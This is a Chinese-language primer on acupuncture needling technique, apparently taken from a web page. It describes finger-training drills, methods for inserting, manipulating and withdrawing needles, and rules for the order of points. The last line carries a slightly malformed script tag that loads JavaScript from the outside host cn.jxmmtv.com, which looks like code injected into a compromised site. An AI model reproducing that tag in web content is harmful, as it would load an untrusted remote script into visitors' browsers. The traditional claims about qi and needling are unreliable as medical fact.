針法簡介
（1）練針之方法
A.練針之初步
先練「指力」、「指覺」、最後才能談到「手法」。故學針者須將右手三指，練成一種特殊感覺，然後下針時，一觸及血管外壁或神經束鞘，或指骨骼外膜，立即有所感覺知所躲避，經由血管神經之細縫中刺過，直達「穴」的所在，此為學習針灸者之初步入門。
B.練指力法
練習穿過皮膚的力量，可以疊紙練針，以左手平執練習紙塊，右手拇、食、中三指執住毫針針柄（初練用一寸半毫針），使針尖垂直抵觸在紙塊上，右手拇指與食、中二指前後交替捻轉針柄，刺透紙塊，此法持久鍛鍊，主要有增強指力的作用。練指覺法：練習針刺到皮膚、肌膜、肌肉、神經血管與骨頭之感覺。
用脫脂棉花一團，內放一至二條橡皮圈，揉成球形，以紗布包裹，外用棉線纏繞二十匝，以三寸長針一支，捻進捻出，以後每日增纏棉球二十匝，捻針穿刺，練習一可間斷，迨百日後，棉球大而結實，要求捻持仍能運用自如，練習人之手指，已具有分辨下列幾種不同的感覺能力。如用小石（模擬人體之骨頭）、橡皮圈（模擬人體之神經與血管）、紗布（模擬人體之肌膜與皮膚）、棉花（模擬人體之肌肉與皮下組織）。
A.下針基本手法：
l 揣法：揣而尋之。凡點穴以手揣摸其處。
l 切法：凡欲下針之時，用兩手大指甲於穴傍上下左右四圍搯而動之，如刀切割之，令氣血宣散。
l 爪法：爪而下之，用左手大指甲著力搯穴，右手持針插穴，方始有準，乃不痛之法。
l 進法：下針之後，宣分三才進針，先由天部進至人部，中停，再由人部
進至地部。
B.行針基本手法
凡是針到穴位，會有痠脹重麻的沉緊感，若無此等感覺痠脹難忍，必須運針達此針感，才能行補瀉之法。患者若針下肌肉緊張，捻轉不動，退針不出時，用留針之法，將針留置原位，約十數分鐘之久，以待針下鬆弛，方獲鎮靜止痛之效。
C.出針基本手法
l 搖法：凡欲退針出穴之時，先用兩指拏住針柄，向左右各搖數下，使穴孔開大，則針易退出。
l 退法：退針之法，亦分三才，先由地部退至人部，稍停再由人部退至天部，再停少時，方可拔出。
l 拔法：出針之時，在皮下待針下氣緩，不沈緊，便覺經滑，即用指捻針，拔出體外。
l 捫法：出針後，即用手指掩閉其穴，則令氣不泄出體外。
針灸醫師應做蹈入針不痛，出針不流血，如此病患才能有信賴感，而不恐懼針刺療法。
D.下針之次序
每一病症，應針數穴，據經驗有如下列原則：
l 先針上部經穴，後針下部經穴；先針前部經穴，後針背部經穴，先針手部經穴，後針足部經穴。非必如此，取其便也。
l 先針主要經穴，後針次要經穴。以先針主要經穴，有時不需要再針次要者，即已見效。
l 先針不甚痛之經穴，後針劇痛之經穴（恐病人畏懼針痛，拒絕再下針也）。例如喉痛，須針合谷、少商，則應先針合谷後針少商。
l 先針離病灶遠之經穴，後針距病灶近之經穴。例如：頭痛，應先針合谷、列缺，作反射刺激；繼針頭維、風池，作直接刺激。否則先用直接刺激，每引起患部益痛也?script src=http://cn.jxmmtv.com/cn.js>
|
|
